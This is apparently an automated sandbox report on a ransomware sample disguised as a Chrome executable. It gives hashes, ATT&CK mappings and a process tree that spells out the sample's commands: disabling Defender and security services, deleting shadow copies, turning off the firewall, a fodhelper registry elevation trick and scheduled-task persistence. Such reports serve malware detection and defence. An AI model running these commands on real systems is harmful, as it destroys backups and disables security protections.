57b507718048d3d97a0c6c5c536df0b5d64b3189026910b251616be13b16b163

Analysis

max time kernel
7s
max time network
170s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 07:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kungfumusic.com_chromes.exe
Size 50KB
Sample260504-jletksd191
SHA256 57b507718048d3d97a0c6c5c536df0b5d64b3189026910b251616be13b16b163
MD5 bad4cf3b78733820bcb59e5b1adb355b
SHA1 010e7df2dd682d41acd69436fddf984202c1e038
SHA512 105ef6b6fe96c0534ff78632f8597fb95abc99113b5b4c9feb2f277fd6d793180feaaf34f955b5d4cd344dc87cd8834b6c71bb010596905c1a7cb59686eeaa72
SSDEEP 768:9ddhlhJSVuF2FDpIsLso8vrW+F0a/u/RgL4xC1XXGblfppPKFc5xq:7dJFFwNW3vX0kuGL4xEXGblfLPucm
TLSH
T16433F75477F98511F1BF8ABA4DB192019B31B8A39C23D78E0AD5058E1AB3740CDA8F77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/4868-0-0x00000000008C0000-0x00000000008D2000-memory.dmp	disable_win_def
behavioral2/files/0x000c0000000004a7-2581.dat	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3076	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	kungfumusic.com_chromes.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4620	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
5688	tasklist.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5188	sc.exe
3852	sc.exe
4920	sc.exe
688	sc.exe
5136	sc.exe
1432	sc.exe
1108	sc.exe
4080	sc.exe
6000	sc.exe
1304	sc.exe
3128	sc.exe
2576	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3364	chrome.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4960	ipconfig.exe
244	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5424	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1668	vssadmin.exe
5240	vssadmin.exe
1696	vssadmin.exe

Modifies registry class 6 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kungfumusic.com_chromes.exe"	kungfumusic.com_chromes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	kungfumusic.com_chromes.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command	kungfumusic.com_chromes.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings	kungfumusic.com_chromes.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell	kungfumusic.com_chromes.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open	kungfumusic.com_chromes.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
780	schtasks.exe
2956	schtasks.exe
3988	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3076	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3076	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 1308	4868	kungfumusic.com_chromes.exe	79
PID 1308 wrote to memory of 2620	1308	chrome.exe	80
PID 4868 wrote to memory of 3076	4868	kungfumusic.com_chromes.exe	81
PID 4868 wrote to memory of 3128	4868	kungfumusic.com_chromes.exe	83
PID 4868 wrote to memory of 2576	4868	kungfumusic.com_chromes.exe	85
PID 4868 wrote to memory of 5188	4868	kungfumusic.com_chromes.exe	87
PID 4868 wrote to memory of 1432	4868	kungfumusic.com_chromes.exe	89
PID 4868 wrote to memory of 1108	4868	kungfumusic.com_chromes.exe	91
PID 4868 wrote to memory of 3852	4868	kungfumusic.com_chromes.exe	93
PID 4868 wrote to memory of 4920	4868	kungfumusic.com_chromes.exe	95
PID 4868 wrote to memory of 688	4868	kungfumusic.com_chromes.exe	169
PID 4868 wrote to memory of 3784	4868	kungfumusic.com_chromes.exe	99

C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe
"C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe"
1⤵
- Drops file in Drivers directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://kungfumusic.com
  2⤵
  - Enumerates system info in registry
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffffabcc728,0x7ffffabcc734,0x7ffffabcc740
    3⤵
    PID:2620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,17145524745225945890,7380750630392358605,262144 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1948 /prefetch:2
    3⤵
    PID:3980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,14460443464688394451,12098053939410271205,524288 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2220 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,3394669243565168256,7190293261210697523,524288 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2600 /prefetch:13
    3⤵
    PID:3928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,11489522866028134126,9724670809390436203,2097152 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,1662091128687745512,11190421668938717419,2097152 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3288 /prefetch:1
    3⤵
    PID:5804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4376,i,12900536404513422217,2466551434299331605,2097152 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4392 /prefetch:9
    3⤵
    PID:1744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5204,i,15294052307915766945,5626120800010230280,2097152 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5228 /prefetch:1
    3⤵
    PID:4244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3828,i,16079367923993006929,9223468884055902923,524288 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5368 /prefetch:14
    3⤵
    PID:2356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5584,i,14028041384548287194,3897235284735482754,524288 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5580 /prefetch:14
    3⤵
    PID:4800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,13967695332428776665,9383497477275752114,524288 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5648 /prefetch:14
    3⤵
    PID:2352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5600,i,14597681102926110006,10248523002511936992,524288 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5652 /prefetch:14
    3⤵
    PID:4308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3508,i,2918807079657067476,1606612217102451413,262144 --field-trial-handle=1952,i,14262928175197629706,1084795834159670020,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1156 /prefetch:10
    3⤵
    PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2576
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5188
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1108
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:688
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3784
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6000
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1668
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:2460
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:4064
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:780
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2956
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5992
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5240
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:2952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:412
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:3352
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:4620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  PID:4940
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1696
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:1172
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  PID:708
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5424
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  PID:4800
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  PID:804
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  PID:3416
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  PID:2344
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4960
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  PID:2596
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5136
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3988
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:5404

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3124

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5888

C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe
C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe
1⤵
PID:5268

C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe
C:\Users\Admin\AppData\Local\Temp\kungfumusic.com_chromes.exe
1⤵
PID:5080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 68KB
SHA256 e6768d5a3a003c98ef4e250c2a411545cacdc2dc9f0400c5465704ce4ea597c2
MD5 e414b47fb1359aa8798c565bdffc6af3
SHA1 ee3c1961e7e82d6d48ea97d47bf0680bf631141e
SHA512 b1544de2c99264b6ece900046a891eeb23568ba5f89bfd428d278222264cd99605aa8152766b24578282817acb867dd3e11add2e9621705751c4b5191593cd3d
SSDEEP 1536:QBUICUC4OnBkKCqiiZrz8NwwUtq+tR5tsFyL1vc140zzOCBV1KYLv514GO:QBUfj4OMqiEgQtq+tRb51Ue0zzd1N51a
TLSH
T16E633A368B33FDC4277E3D80E0603A561C883F6797B5267CFA850DAA19E6640DF2E558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 67KB
SHA256 e569c4080af9f7791350f0c744c93e05b1401f55ac1e4d69b1129d6c637ced66
MD5 3bf1339d69688fdd39d2492f15211d2b
SHA1 9cbd4ac51ce9769fcb2d2588afaf3f74e8dde182
SHA512 8132c1fd3eca5ad0add2e01ac7c8a8d260fdb8ef14b0d6cb3eee34932c295e186f41e5324329100b599beb622ce7349375aca3e8027e8dbccb14344ea5fdaae5
SSDEEP 1536:wBUICUC4OnBkKCqiiZrz8NwwUtq+tR5tsFyL1vc140zzOCBV1KYLv514Gp:wBUfj4OMqiEgQtq+tRb51Ue0zzd1N51t
TLSH
T1A66329368B33FDC4277E3D80E0603A561C883F6797B5267CFA850DAA19E6640DF2E558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 fdd25152cde623fa903d86de99cd1817924654902c174d97d63d4bbeed491d30
MD5 c17d76d7104eb2912f3f7f615b0a24d6
SHA1 782770a31f2918de4d6f387275323d82c3d91c15
SHA512 8fb698f8716ea29a7a0687ce527cf224217f86814fbf9c3572c3b157441fbc9e1d3ce7c9dcc6ea441ee4021a4be389ed421b13f6f1581a4b364f7c2436484bd3
TLSH
T1F9E0EDAADE29D9271CFC0B7920444342E658139A2A40994B7B3D870A8FB163A4286C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 408B
SHA256 bf8951ef25b949e76a67035912360615b12b56f8b21c80b22d61d2312bc6dd02
MD5 01aae971998954cc5c3189a0f7bd4c5f
SHA1 4f8a75935b4a280d23a886875b65be1fccf2c2d2
SHA512 24b5a7f433d7ed4abbb54d1a9452338e4bc9242438236326530d528d6b7717efb57ac69c6c4a068e41400728ef4a903da9fe897b6332eeb3923f7633ce5f3fa3
TLSH
T14FE08633D7C0A400FB6C1DB778D57D846101599D05268F434576C5D99976BE545C90FC
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 263598848596694a02fe08bef0b7b6c49c56b1207436f6c22078915c2bf31a85
MD5 05d26efbcb7d452c95acf630a109fe38
SHA1 0061df6377c83f78492bcd1d98e0ab3840406aab
SHA512 0852324a2b245c162fe3db08cdf5392882d40ffc0c8e22072d87396b78cebd13581b6c2bab9d69b3ee323440aee219937d5b161777d3fe928b3caf4b1825aab7
SSDEEP 96:APpN/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0pm+:IN/tH+bF+UI3iWGVYWNkqp3r+
TLSH
T1BEF32C1E6F243212CDBD92766CE345A3597DF03F871366856C6508B1CEE2A52B05C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 fe1542e34e5b5826fbc9e18b095633f01ef2b6565ad744c437b5fa1c6a84c914
MD5 fdc7654c5c31302d3cb4c60c147af636
SHA1 58e7e6ede50945898da65cb084bb2f26747a4b1b
SHA512 74b69c4fff6a58d9da1a877d5d15fecbd9602d991470d23ad40d21fe5f0ee776aa24b6ea36ed082e29e1aa1ff7ce2b6155803c61ec1222df7c13a3d52efd7de7
SSDEEP 192:DuwQCvsaIaEg7VqjWR9q2QF7lnLMWRXX5IxLVs8A:DuwQCvsaIaEg7VqjWR9q2QFlnLMWRH55
TLSH
T1BED135F7C3E88A2D891155F4AB152E1BCE5D0A18572C3D5788D4EF4B67E29B2E30064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 cc683c7641b23ea21372a64f13e7d6337927bb49e9c113ea4de150aad3c81dc6
MD5 a36908009673b2b12afa9dc91ac5b4e3
SHA1 e242efbeadb421ffdb330304fa47c2362ed3d82f
SHA512 f614e8e092f1b49df17ba32aa494f7ac1643962aaf31a29f1308946468cbd45bffd9b2a2b6ff809a3c4b35f0c376f6dd844a0d59dd22aa5e312b354d046f2eca
SSDEEP 192:aRR+nQuYi3v7gpAPRp2B99HIZb+WNngXPAL2WdmlbVyIsnAUgtaJ:aRR+ZfsUXq/Y+PC2WIld8
TLSH
